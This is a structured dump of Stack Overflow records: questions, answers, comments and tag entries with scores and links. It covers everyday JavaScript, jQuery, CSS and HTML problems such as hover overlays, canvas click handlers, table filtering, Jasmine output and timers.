has body: I have a grid of images with same width but with diferent height. On hover the image i want to display two differnt links to get info of the image and the author. The problem is i can't vertical aling the links over the image :/ HTML: &lt;div class="item"&gt; &lt;div class="img-work"&gt; &lt;img src="img/grid1.jpg" alt="" class="img-grid"&gt; &lt;a href="#" class="zoom""&gt; &lt;img src="img/hover-item.png" alt=""&gt; &lt;/a&gt; &lt;a href="#" class="info"&gt; &lt;img src="img/hover-info.png" alt=""&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; CSS: div.img-work a.zoom { left: 31%; position: absolute; top: 27%; visibility: hidden; width: 38px; } div.img-work a.info { left: 50%; position: absolute; top: 27%; visibility: hidden; width: 39px; } jQuery: $('div.img-work').hover(function() { $(this).children('a').css('visibility', 'visible'); $(this).children('img').css('opacity', '0.5'); }, function() { $(this).children('a').css('visibility', 'hidden'); $(this).children('img').css('opacity', '1'); }); As you can't see i don't how to align those link vertically . Any hints would be appreciate. Thank you in advance

http://stackoverflow.com/a/42142899
answers question: http://stackoverflow.com/q/25611356
upvote count: 3
score: 3
has body: In Android there is a way to actually reverse the data in an Arraylist of objects through the Adapter. In my case I could not use the LayoutManager to reverse the results in descending order since I was using a horizontal Recyclerview to display the data. Setting the following parameters to the recyclerview messed up my UI experience: llManager.setReverseLayout(true); llManager.setStackFromEnd(true); The only working way I found around this was through the BindViewHolder method of the RecyclerView adapter: @Override public void onBindViewHolder(final RecyclerView.ViewHolder holder, int position) { final SuperPost superPost = superList.get(getItemCount() - position - 1); } Hope this answer will help all the devs out there who are struggling with this issue in Firebase.
downvote count: 0
has comment: http://stackoverflow.com/comment/77932123
type: Answer

http://stackoverflow.com/q/25666811
possible better answer: http://stackoverflow.com/a/25667174
has title: Change color when you click over an specific canvas element
accepted answer: http://stackoverflow.com/a/25668514
has answer: http://stackoverflow.com/a/25667174
type: AnsweredQuestion
score: 0
has body: I'm creating dynamically canvas elements with Raphael.js, but I need change the color when the element is pressed. I just attach the click event over each specific circle, but How I can change the color of the pressed element? paper = Raphael("canvas", 500, 500); circs = paper.set(); for (i = 0; i &lt; 21; ++i) { opa = ran(3,10)/10; circs.push(paper.circle(ran(0,500), ran(0,500), ran(13,30)).attr({"fill-opacity": opa, "stroke-opacity": opa }).click(function(){ $("#toggle").click(); //Change color? })); }
type: Question
has answer: http://stackoverflow.com/a/25668514
tagged with: javascript
tagged with: raphael
answer count: 2
tagged with: canvas
tagged with: jquery

http://stackoverflow.com/a/25591604
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39974149
type: Answer
upvote count: 4
downvote count: 2
has comment: http://stackoverflow.com/comment/39999442
has body: here is the clean html code that generated by slideshow he secret of getting ahead is getting started. -Mark Twain You are never too old to set another goal or to dream a new dream. -C.S.Lewis If you can dream it, you can do it. -Walt Disney this array defined colors var colors = ['red', 'green', 'blue', 'orange', 'yellow']; Change the first Span color in each H2 Tags : $('.slides-container h2 span:first-child').each(function(){ $(this).css( 'color', colors[Math.floor(Math.random() * colors.length)]); }); JSFIDDLE V2
score: 2
has comment: http://stackoverflow.com/comment/39973373
accepted answer of: http://stackoverflow.com/q/25591489
answers question: http://stackoverflow.com/q/25591489

http://stackoverflow.com/comment/39939347
has text: you are right. I tried it again with a file on the same domain and it worked. But, what I don't understand is if I want to use data from another site (using let's say its API) how would I do it? Would I not use one of these functions? After all this example https://github.com/lmccart/p5.js/blob/master/examples/async/loadJSON_callback/sketch.js on p5.js' documentation loads the temperature of a city from another page/different domain and displays the values on the page. How come they are allowed to do that? I noticed that they do it using JSON. Is that the trick?
score: 0
comment on: http://stackoverflow.com/a/25572987
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25653209
downvote count: 0
type: Answer
score: 3
upvote count: 3
has body: I think I have found the solution: sometimes using google is more effort than debugging by yourself. After scrolling through the debug log in firefox I found out that this problem actually had to do with the code inside my socket 'message' handler. A snippet that might help others to find errors with their sockets: socket.on('error', function (err) { if (err.description) throw err.description; else throw err; // Or whatever you want to do }); I think this is an issue in socket.io although it was my wrong code - the socket.io errorhandler should have passed that through. Have fun
answers question: http://stackoverflow.com/q/25652355

http://stackoverflow.com/q/25706972
tagged with: phantomjs
answer count: 0
downvote count: 0
score: 1
tagged with: dom
has comment: http://stackoverflow.com/comment/40183622
type: Question
tagged with: object
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/25658217
has title: phantomjs not reaching function
upvote count: 1
linked to: http://stackoverflow.com/q/25696824
has comment: http://stackoverflow.com/comment/40199766
favorite count: 0
has body: following on from this , I have rewritten my script but am unable to reach the function where I am performing the scrape of data. As a result my object is null. How can I ensure I reach the function? How can I populate the object? (note I the object and the way to populate it is based on discussion from an earlier post, but please let me know if I am making any error here in the script below) Error Output: ReferenceError: cant find variable: angular (not sure what this means...am ignoring for now) http://stage.inc.com/js/Inc5000ListApp.js?UPDATE1:2 http://www.inc.com/inc5000/index.html:2485 Read About the Companies in the Inc. 5000 | Inc.com (this is the title, which am printing) null (the object is null and I don't know why??..well actually the function is not being accessed, but how I can correct this...) Code var webPage = require('webpage'); var page = webPage.create(); page.open('http://www.inc.com/inc5000/index.html', function(status) { var title = page.evaluate(function(s) { return document.querySelector(s).innerText; }, 'title'); console.log(title); page.injectJs('http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js'); var dataObj= page.evaluate(function() { console.log('Reached scrapeData'); var DATA = []; $('tr.ng-scope').each(function(){ var $tds = $(this).find('td'); DATA.push({ rank: $tds.eq(0).text(), company: $tds.eq(1).text(), growth: $tds.eq(2).text(), revenue: $tds.eq(3).text(), industry: $tds.eq(4).text() }); }); console.log(DATA); }); console.log(dataObj); phantom.exit(); });
has comment: http://stackoverflow.com/comment/40185230
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40188099

http://stackoverflow.com/comment/39918228
comment on: http://stackoverflow.com/a/25556568
type: AnswerComment
has text: and `foo && (bar)` is always equivalent to `if(foo) {bar}`?
score: 0
type: Comment

http://stackoverflow.com/a/25630941
type: AcceptedAnswer
has body: It's an issue with the scope of the html event handler attributes. There's two easy solutions: Make the show and hide functions available in the global scope: window.show = function () { document.getElementById('id').style.visibility="visible"; } window.hide = function () { document.getElementById('id').style.visibility="hidden"; } Or put the event handlers in your JavaScript code, instead of HTML attributes: var div = document.getElementById('id'); div.onmouseover = show; div.onmouseout = hide; function show() { document.getElementById('id').style.visibility="visible"; } function hide() { document.getElementById('id').style.visibility="hidden"; }
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25630846
answers question: http://stackoverflow.com/q/25630846
upvote count: 1

http://stackoverflow.com/comment/40032082
type: QuestionComment
comment on: http://stackoverflow.com/q/25623332
type: Comment
score: 0
has text: Just as a heads up, I have used KO based frameworks for a couple of years, but having moved to Angular found it's much easier. Even big frameworks such as Durandal are moving over and away from KO (see - http://blog.angularjs.org/2014/04/angular-and-durandal-converge.html). Here's a good tutorial to get you started. It got our team understanding a lot in a very short space of time - https://www.youtube.com/watch?v=i9MHigUZKEM.

http://stackoverflow.com/comment/39912817
type: Comment
comment on: http://stackoverflow.com/q/25558987
score: 0
type: QuestionComment
has text: Your hosting company injects scripts into your web pages? Get a new hosting company.

http://stackoverflow.com/q/25621733
tagged with: unit-testing
type: Question
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25626347
tagged with: jasmine
has title: Improving Jasmine test output for array comparisons
possible better answer: http://stackoverflow.com/a/31992120
has answer: http://stackoverflow.com/a/31992120
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/25626347
has body: I want replace this test code: expect(events.length).toEqual(2); expect(events[0].item).toEqual("A"); expect(events[0].newIndex).toEqual(0); expect(events[0].type).toEqual(CollectionChangeType.Insert); expect(events[1].item).toEqual("D"); expect(events[1].oldIndex).toEqual(2); expect(events[1].type).toEqual(CollectionChangeType.Remove); ...with the shorter form (which is actually more thorough in my case)... expect(events).toEqual([ CollectionChange.insert("A", "A", 0), CollectionChange.remove("D", "D", 2) ]); However the output in the case of errors is too hard to read. Expected [ { type : 0, item : 'A', itemId : 'A', newIndex : 0, oldIndex : -1 }, { type : 2, item : 'D', itemId : 'D', newIndex : -1, oldIndex : 3 } ] to equal [ { type : 0, item : 'A', itemId : 'A', newIndex : 0, oldIndex : -1 }, { type : 2, item : 'D', itemId : 'D', newIndex : -1, oldIndex : 2 } ]. Is there a way to customise this output? For example, I would be happy with: Array items differ at indices: [1] expected { type: 2, item: 'D', itemId: 'D', newIndex: -1, oldIndex: 3 } but saw { type: 2, item: 'D', itemId: 'D', newIndex: -1, oldIndex: 2 } Can I modify the logic in case of array comparison to do this?

http://stackoverflow.com/a/25703242
answers question: http://stackoverflow.com/q/25703179
score: 0
type: Answer
has body: Couple of issues. You have mismatched divs. This last div looks like its the culprit. sadasdas dsadasdasdas <--this one Your second issue is that you shouldnt have multiple ids that are the same on a page. Instead set it as a class with Then reference them in jquery with $(".plus").click( function()
has comment: http://stackoverflow.com/comment/40176691

http://stackoverflow.com/a/25555741
type: AcceptedAnswer
type: Answer
upvote count: 4
has body: You forgot to include id in front of your ="demo" it should look like &lt;p id="demo"&gt; instead of &lt;p="demo"&gt;&lt;/p&gt; Second the reason the first call to quiz does not work is that your document has not loaded yet. you want to do this on pure js &lt;body onload="myFunction()"&gt;
has comment: http://stackoverflow.com/comment/40041937
downvote count: 0
answers question: http://stackoverflow.com/q/25555698
score: 4
accepted answer of: http://stackoverflow.com/q/25555698

http://stackoverflow.com/q/25707681
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has title: html - Scale image proportionally to fit parent
has answer: http://stackoverflow.com/a/25707738
has comment: http://stackoverflow.com/comment/40184656
type: Question
tagged with: javascript
score: 0
answer count: 1
has body: I want to scale image proportionally to fit parent What I'm getting is: What I want is: CSS: .path { max-width: 100%; max-height: 100%; border: 3px solid #d7d7d7; cursor: pointer; } HTML: Javascript: $(".div_parent").css( { "width" : Math.ceil($(document).width()*0.3)+"px" } ); $(".div_parent").css( { "height" : Math.ceil($(".div_parent").width()/2.24)+"px" } ); I want path class (images) to fit to div_parent proportionally...

http://stackoverflow.com/comment/54231810
type: QuestionComment
comment on: http://stackoverflow.com/q/25656949
has text: Is there a way to perform a higher level click perhaps? Like calling the click event on the CefSharp object at a particular coordinate?
score: 0
type: Comment

http://stackoverflow.com/q/25633237
accepted answer: http://stackoverflow.com/a/25633319
score: 0
type: Question
type: AnsweredQuestion
tagged with: dialog
has answer: http://stackoverflow.com/a/25633319
has body: I'm trying to use the new HTML element. Here's some testing code: This is a dialog Close dialog Show add dialog And in js: var dialog = document.querySelector('dialog'); document.querySelector('#show').onclick = function() { dialog.show(); }; document.querySelector('#close').onclick = function() { dialog.close(); }; If I change the first js line to var dialog = $('dialog'); it no longer works. Why?
answer count: 1
has comment: http://stackoverflow.com/comment/40049966
tagged with: javascript
tagged with: jquery
has title: jQuery and the element

http://stackoverflow.com/a/25586872
upvote count: 12
answers question: http://stackoverflow.com/q/25586809
score: 11
accepted answer of: http://stackoverflow.com/q/25586809
type: AcceptedAnswer
has body: In your case: b = new Buffer(1024); if (b instanceof Buffer) { ... More generally, see this answer.
downvote count: 1
type: Answer

http://stackoverflow.com/comment/40060502
type: AnswerComment
comment on: http://stackoverflow.com/a/25639354
has text: I added code to show you how to replicate PHP's str_replace method.
type: Comment
score: 0

http://stackoverflow.com/comment/40179271
score: 0
comment on: http://stackoverflow.com/a/25690350
type: AnswerComment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/60761/discussion-between-user3502786-and-joe-frambach).
type: Comment

http://stackoverflow.com/a/25711473
has body: There are few ways of achieving that. One is using objects in Javascript and another one with the called "Module Pattern". For using objects, you can do: function MyObject() { this.foo = "myObj"; } var mo = new MyObject(); console.log(mo.foo); //Will print "myObj". Module pattern works as below: var MP = (function(){}( var foo = "MP"; return { foo : foo } )); console.log(MP.foo); // Will print "MP"
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/40191575
answers question: http://stackoverflow.com/q/25711436

http://stackoverflow.com/a/25563488
has comment: http://stackoverflow.com/comment/39933412
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39931952
has comment: http://stackoverflow.com/comment/39926366
accepted answer of: http://stackoverflow.com/q/25563009
has comment: http://stackoverflow.com/comment/39921236
score: 0
has comment: http://stackoverflow.com/comment/39924237
type: Answer
answers question: http://stackoverflow.com/q/25563009
has comment: http://stackoverflow.com/comment/39921487
has body: First of all, your three for-loops make no sense, they should be removed. You are reassigning the same three variables multiple times. Secondly, I'd store the object of the currently shown image (the one that has imagePath) in a global variable, so you can access it later. To remove the currently shown image in changeOfferRandom you can then say var tagArray = data[currentlyShownOffer.Tag]; tagArray.splice(tagArray.indexOf(currentlyShownOffer), 1); which, in constrast to delete, does not leave an empty slot. To get a new random offer, go with var tags = Object.keys(data); var randomTag = tags[Math.floor(Math.random() * tags.length)]; window.currentlyShownOffer = randomTag[Math.floor(Math.random() * randomTag.length)]; This way, your original tagified arrays are preserved, and can be accessed later.

http://stackoverflow.com/comment/40193028
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25711884
type: Comment
has text: thanks for the answer it helped me! Is there also a empty state so it will remove the data after the searchfield is empty?

http://stackoverflow.com/comment/40090653
score: 0
comment on: http://stackoverflow.com/a/25655722
type: AnswerComment
has text: I have a bunch of each attribute in the actual html. Its a list of names.
type: Comment

http://stackoverflow.com/a/25597476
score: 0
type: Answer
has body: Its just a circular reference. For a simple example, examine this object in the console var obj = {} obj.x = obj; This particular example you found is true for any function in javascript. All javascript functions have a prototype property, which is an object with a constructor field that points back to the original function.
answers question: http://stackoverflow.com/q/25597443

http://stackoverflow.com/a/25670916
answers question: http://stackoverflow.com/q/25670218
type: Answer
has body: Option 1. Change the CSS You could achieve this through css alone (sample): @media (max-width: 40em) { // when smaller than 40em... .postbutton { // resize postbutton... hiding overflow display: inline-block; white-space: nowrap; overflow-x: hidden; width: 13px; color: #000000; text-decoration: none; } .postbutton:before{ // and insert this text at the beginning content: '✎'; } } Option 2. Change the HTML and CSS Alternatively, and semantically better, you could change the markup and css. Simply replace the contents of with the following markup (sample): ✎Post Your Need Then you can target those elements specifically with css: .postbutton .collapsed { // hide the collapsed text by default display: none; } @media (max-width: 40em) { // when smaller than 40em... .postbutton .collapsed { display: inherit; // show the collapsed text } .postbutton .expanded { display: none; // hide the expanded text } } See the :before pseudo element and CSS Media Queries
upvote count: 1
downvote count: 0
score: 1

http://stackoverflow.com/a/25649137
has body: Found a solution myself: I deleted $('input').focus(); in the script.js and added the following script directly in the HTML file: And edited the button-tag: GO ▼
score: 0
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25631046
accepted answer of: http://stackoverflow.com/q/25631046

http://stackoverflow.com/comment/40114660
type: Comment
has text: Oh my god, that's so simple. I really didnt get the thought that I could just replace "working" with "export" and it would solve all the hassle. Thanks so much for that :-)
comment on: http://stackoverflow.com/a/25667649
type: AnswerComment
score: 0

http://stackoverflow.com/q/25649318
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40078748
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25649419
favorite count: 0
has answer: http://stackoverflow.com/a/25650072
type: Question
has body: I have an input field, which is used to perform some calculations. There are 2 buttons that the user can click to indicate which set of calculations they would like to perform. However, in case the user does not click either button, I want a default action to be performed: function button1Clicked() { alert('button 1 clicked'); } function button2Clicked() { alert('button 2 clicked'); } function noButtonClicked() { alert('no button was clicked'); } My fields look something like this: I can get the action from the buttons to execute as described in this question, but it's not reliable. Is there a simpler solution to blocking the onchange event from firing when one of these buttons is clicked? To Clarify: When the user is done editing the input field, if neither button is clicked, then execute noButtonClicked(). If one of the buttons is clicked, then execute the function associated with the button, but not the noButtonClicked() function.
has comment: http://stackoverflow.com/comment/40078960
has comment: http://stackoverflow.com/comment/40079282
possible better answer: http://stackoverflow.com/a/25649419
linked to: http://stackoverflow.com/q/6371961
has comment: http://stackoverflow.com/comment/40078884
upvote count: 2
linked to: http://stackoverflow.com/q/15310647
has comment: http://stackoverflow.com/comment/40078506
has answer: http://stackoverflow.com/a/25649455
has title: Javascript onchange event blocked when button is clicked
accepted answer: http://stackoverflow.com/a/25650072
has comment: http://stackoverflow.com/comment/40079212
answer count: 3
has comment: http://stackoverflow.com/comment/40078394
has comment: http://stackoverflow.com/comment/40078464
score: 2

http://stackoverflow.com/a/56053683
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25588209
score: 0
answers question: http://stackoverflow.com/q/25588209
type: Answer
has body: Based on Modernizer and this answer I could use this function to detect if directory select is supported: function testFileInputDirectory() { var elem = document.createElement('input'), dir = 'directory', domPrefixes = [ "", "moz", "o", "ms", "webkit" ], prefix; elem.type = 'file'; for (prefix in domPrefixes) { if (domPrefixes[prefix] + dir in elem) { return true; } } return false; }
upvote count: 2
downvote count: 2

http://stackoverflow.com/a/25608521
score: 0
answers question: http://stackoverflow.com/q/25608128
has comment: http://stackoverflow.com/comment/40030482
type: Answer
has body: my code work , have issue ? &lt;form method="post" id="f1"&gt; &lt;input type="checkbox" id="one" name="one" value="1" onclick="xxx()"&gt;1&lt;br&gt; &lt;input type="checkbox" id="two" name="two" value="2" onclick="xxx()"&gt;2&lt;br&gt; &lt;input type="submit" id="submit" name="submit" value="OK" onclick="return xxx();"/&gt; &lt;/form&gt; &lt;script&gt; function xxx(){ $('#overlay').show(); $.ajax({ url: 'test.php', type: 'POST', data: $('#f1').serialize(), success: function(data){ $('#overlay').hide(); $('#result').html(data); } }); return false; } &lt;/script&gt;
has comment: http://stackoverflow.com/comment/40038622
has comment: http://stackoverflow.com/comment/40004937

http://stackoverflow.com/a/25608759
has body: Because you are getting data, but don't doing with it something. $http.get('/Handlers/Authentication.ashx').then(function(data){ console.log(data); }, function(err){ console.log(err); })
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25608719

http://stackoverflow.com/comment/40160954
has text: Possible Duplicate: http://stackoverflow.com/questions/585234/how-to-read-and-write-into-file-using-javascript
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25688829
score: 0

http://stackoverflow.com/comment/43760245
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638738
has text: I'm having the exact same issue. Did you find a solution to this problem?

http://stackoverflow.com/q/25663782
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40107622
answer count: 0
has comment: http://stackoverflow.com/comment/40121075
type: Question
has title: On drop event disappears on mouseup
tagged with: javascript
has comment: http://stackoverflow.com/comment/40155203
tagged with: jquery
tagged with: droppable
score: 0
tagged with: jquery-events
has body: I'm having issues getting my event to fire properly. The ondrop option stays visible until I let go of the mouse button. There 2 columns a left and a right. Items from the left column are dropped into the right column and fire an animated class. I would like them to fire when they are dropped on the right column. Little help anyone? Code CSS #music li { height: 168px !important; width: 600px !important; background-image: url('img/no-clue-sm.png') !important; animation-name: fadeIn !important; -webkit-animation-name: fadeIn !important; animation-duration: 0.8s !important; -webkit-animation-duration: 0.8s !important; animation-timing-function: fadeIn !important; -webkit-animation-timing-function: fadeIn !important; visibility: visible !important; } music li { height: 168px !important; width: 600px !important; background-image: url('img/no-clue-sm.png') !important; animation-name: fadeIn !important; -webkit-animation-name: fadeIn !important; animation-duration: 0.8s !important; -webkit-animation-duration: 0.8s !important; animation-timing-function: fadeIn !important; -webkit-animation-timing-function: fadeIn !important; visibility: visible !important; } .left-column { width:60px; margin: 0px 0px 0px 5px; padding: 0px 0px 0px 0px; float: left; text-align: center; opacity: 0.7; overflow: hidden; } .right-column { width: 615px; height: 440px; float: left; margin: 0px 0px 0px 5px; padding: 10px; background: #2d2d2d; opacity: 0.7; overflow: hidden; } #sortable { list-style-type: none; float: left; margin: 0px; padding: 0px; } #sortable1, #sortable2 { list-style-type: none; margin: 0; padding: 0; float: left; } #sortable1 li, #sortable2 li { margin: 0px 0px 0px 0px; padding: 0px 0px 10px 0px; width: 50px; } #sortable2 li { overflow: hidden !important; animation-name: fadeIn !important; -webkit-animation-name: fadeIn !important; animation-duration: 0.8s !important; -webkit-animation-duration: 0.8s !important; animation-timing-function: ease-in-out !important; -webkit-animatio…

http://stackoverflow.com/comment/39943596
type: QuestionComment
comment on: http://stackoverflow.com/q/25574956
type: Comment
has text: we can't tell you what version of jQuery it's better for you, it depends on 1) what version of jQuery.ui you need, 2) what version of web browser you need to support (jQuery 2.x does not support IE8 and below) and 3) what are the jQuery functions your application uses
score: 0

http://stackoverflow.com/comment/40194403
has text: use ```$body.animate({opacity:0}, 'slow', function() {$(this).animate({opacity: 1})})``` for fade effect
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25712833
type: QuestionComment

http://stackoverflow.com/q/25704273
has comment: http://stackoverflow.com/comment/40178500
has body: I need a deep copy of the window.navigator of my browser but I don't know how to print it on the screen. &lt;body&gt; &lt;script&gt; document.write(JSON.stringify(window.navigator, null, 4)); &lt;/script&gt; &lt;/body&gt; This will cause a: Uncaught RangeError: Maximum call stack size exceeded. Probably some recursive function inside. I just need a complete representation of this object as a string to ctrl c + ctrl v. How can I do it?
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/40178502
upvote count: 1
type: Question
tagged with: javascript
downvote count: 0
has title: How to print window.navigator?
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40178520

http://stackoverflow.com/a/25562453
type: Answer
has comment: http://stackoverflow.com/comment/40098463
accepted answer of: http://stackoverflow.com/q/25560646
has comment: http://stackoverflow.com/comment/39919395
has comment: http://stackoverflow.com/comment/39919921
has comment: http://stackoverflow.com/comment/40100578
answers question: http://stackoverflow.com/q/25560646
has body: This would be the table markup. As you can see, I added thead, tbody and tfoot groups Example No. Column 1 Column 2 345678917 Test 1 one_test1@gmail.com 3512376894 Test 2 two.test2@hotmail.com Default CSS for the markup above. Next step would be merging the following with the rest of your CSS. table thead { display: table-row-group; } table tbody { display: table-row-group; } table tbody tr { display: none; } And finally the JavaScript snippet using getElementsByTagName() method // JavaScript document.getElementById('term').onkeyup = function(){ var term = this.value; var column = 0; var msg = 'No results found!'; var pattern = new RegExp(term, 'g'); var table = document.getElementById('dataTable'); var tr = table.getElementsByTagName('TR'); for(var i = 0; i < tr.length; i++){ var td = tr[i].getElementsByTagName('TD'); for(var j = 0; j < td.length; j++){ if(j == column && td[j].innerHTML == term){ tr[i].style.display = 'table-row'; table.tFoot.innerHTML = ''; return; }else{ tr[i].style.display = 'none'; table.tFoot.innerHTML = msg; } } } }; Working jsFiddle | Version without tfoot jsFiddle The same as above but using rows[] and cells[] collection HTML Product Manufacturer Price InStock MacBook Air Apple $456 85 Arc GIS ESRI $4556 15 3ds MAX Aurodesk $6556 359 Windows 7 Micorsoft $256 2567 CSS table thead { display: table-row-group; } table tbody tr { display: none; } JavaScript document.getElementById('search').onkeyup = function(){ var table = document.getElementById('table'), tr = table.rows, td, term = this.value.toLowerCase(), column = 0, i, j, message = document.getElementById('message'); for(i = 1; i < tr.length; i++){ td = tr[i].cells; for(j = 0; j < td.length; j++){ if(j == column && td[j].innerHTML.toLowerCase() == term){ tr[i].style.display = 'table-row'; message.innerHTML = ''; return; }else{ tr[i].style.display = 'none'; message.innerHTML = 'No results found!'; } } } }; Working jsFiddle If you won't use thead and tbody in your table here is another versi…
upvote count: 1
has comment: http://stackoverflow.com/comment/39919108
score: 1
has comment: http://stackoverflow.com/comment/39918903
has comment: http://stackoverflow.com/comment/39918963
has comment: http://stackoverflow.com/comment/39919071
has comment: http://stackoverflow.com/comment/40098713
has comment: http://stackoverflow.com/comment/40098911
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39919208
has comment: http://stackoverflow.com/comment/39919710
has comment: http://stackoverflow.com/comment/40097882
has comment: http://stackoverflow.com/comment/39923643
has comment: http://stackoverflow.com/comment/39923167
has comment: http://stackoverflow.com/comment/40098715
has comment: http://stackoverflow.com/comment/40098776

http://stackoverflow.com/q/25642199
has comment: http://stackoverflow.com/comment/40065916
type: Question
has comment: http://stackoverflow.com/comment/40065885
has comment: http://stackoverflow.com/comment/40066144
has comment: http://stackoverflow.com/comment/40065560
answer count: 1
has comment: http://stackoverflow.com/comment/40094815
tagged with: javascript
has comment: http://stackoverflow.com/comment/40065915
has comment: http://stackoverflow.com/comment/40065352
score: 0
tagged with: http://stackoverflow.com/tag/html
has body: I am trying to set innerHTML of DIV with the HTML string. The HTML string may have buttons with onclick events. onclick event might have attached to some function which might not be availabe with the HTML String. For example, HTML String: var htmlString = " Click Me "; In the above html string, the someFunc function is NOT available with the HTML String. Setting the innerHTML: var div = document.createElement('div'); div.innerHTML = htmlString; So, when i set the htmlString to innerHTML of div, it throws Uncaught ReferenceError: someFunc is not defined I tried to catch the error using try catch but catch block is not executed. Jsfiddle here Please help me.
has comment: http://stackoverflow.com/comment/40065661
has title: How to catch the error while setting html string to div's innerHTML
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25649928
has comment: http://stackoverflow.com/comment/40066850

http://stackoverflow.com/a/25681326
answers question: http://stackoverflow.com/q/25670441
score: 0
type: Answer
has body: Theres is no built-in mechanism to check whether a timeout has completed or not. You will have to do it yourself, here is a minimal example: var pending = true; var timer = setTimeout(function() { /* do some stuff */ pending = false; }, 5000); You can then check whether the timed function is done running or not: if (pending) { // hasn't run yet } else { // is done running }
has comment: http://stackoverflow.com/comment/40137190

http://stackoverflow.com/comment/40189356
comment on: http://stackoverflow.com/a/25709902
type: AnswerComment
score: 0
type: Comment
has text: @PatrickMevia just updated my answer in case jquery is not an option

http://stackoverflow.com/a/25708336
has comment: http://stackoverflow.com/comment/40194900
has body: So here's the solution by user2989731: The problem was occurring from loading the scripts before the template script. It started working when the scripts were loaded into the bottom of the page
answers question: http://stackoverflow.com/q/25707437
has comment: http://stackoverflow.com/comment/40192745
has comment: http://stackoverflow.com/comment/40193063
score: 0
type: Answer

http://stackoverflow.com/comment/39933255
comment on: http://stackoverflow.com/q/25569913
type: QuestionComment
has text: Is your forloop in an infinite loop? Once you get past all the files, `files[i]` will just be `undefined` and the loop will continue onto infinity, no? I'm thinking perhaps you need a `i < files.length` in your loop declaration.
score: 0
type: Comment

http://stackoverflow.com/comment/40169865
type: AnswerComment
has text: So this is what I have done. [Check it out](http://jsfiddle.net/6ycnzrty/18/) and I will edit my answer again with the new HTML, JavaScript code and the link to the new fiddle.
comment on: http://stackoverflow.com/a/25698869
type: Comment
score: 0

http://stackoverflow.com/a/25614574
downvote count: 0
has body: From the node.js setTimeOut documentation: It is important to note that your callback will probably not be called in exactly delay milliseconds - Node.js makes no guarantees about the exact timing of when the callback will fire, nor of the ordering things will fire in. The callback will be called as close as possible to the time specified. However, there is a nanotimer to play with: https://www.npmjs.org/package/nanotimer Some related questions: node.js setTimeout resolution is very low and unstable Why does node.js handle setTimeout(func, 1.0) incorrectly? However, I do think +/- 30ms early is a bit much (compared to most browsers I've played with, they are usually no more than 10ms later (as long as the cpu isn't maxed out, that is)).
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25614330
answers question: http://stackoverflow.com/q/25614330
type: Answer

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/25624530

android
tags question: http://stackoverflow.com/q/25685304
tags question: http://stackoverflow.com/q/25603609
tags question: http://stackoverflow.com/q/25700862
tags question: http://stackoverflow.com/q/25625775
tags question: http://stackoverflow.com/q/25640250
tags question: http://stackoverflow.com/q/25643272
tags question: http://stackoverflow.com/q/25664240
tags question: http://stackoverflow.com/q/25685068
tags question: http://stackoverflow.com/q/25702395
tags question: http://stackoverflow.com/q/25578576
tags question: http://stackoverflow.com/q/25578300
tags question: http://stackoverflow.com/q/25629016
tags question: http://stackoverflow.com/q/25680450
tags question: http://stackoverflow.com/q/25602117
tags question: http://stackoverflow.com/q/25594325
tags question: http://stackoverflow.com/q/25591247
tags question: http://stackoverflow.com/q/25712224
tags question: http://stackoverflow.com/q/25656710
tags question: http://stackoverflow.com/q/25696376
tags question: http://stackoverflow.com/q/25676211
tags question: http://stackoverflow.com/q/25634164
tags question: http://stackoverflow.com/q/25653535
tags question: http://stackoverflow.com/q/25704694
tags question: http://stackoverflow.com/q/25588361
tags question: http://stackoverflow.com/q/25593821
tags question: http://stackoverflow.com/q/25645385
tags question: http://stackoverflow.com/q/25568863
tags question: http://stackoverflow.com/q/25659058
tags question: http://stackoverflow.com/q/25690255
tags question: http://stackoverflow.com/q/25594887
tags question: http://stackoverflow.com/q/25583706
tags question: http://stackoverflow.com/q/25670410
tags question: http://stackoverflow.com/q/25621424
tags question: http://stackoverflow.com/q/25688845
tag name: android
tags question: http://stackoverflow.com/q/25599123
tags question: http://stackoverflow.com/q/25584565
tags question: http://stackoverflow.com/q/25688630
type: Tag
tags question: http://stackoverflow.com/q/25604657
tags question: http://stackoverflow.com/q/25583861
tags question: http://stackoverflow.com/q/25656703

http://stackoverflow.com/q/25563201
accepted answer: http://stackoverflow.com/a/25563264
score: 0
answer count: 2
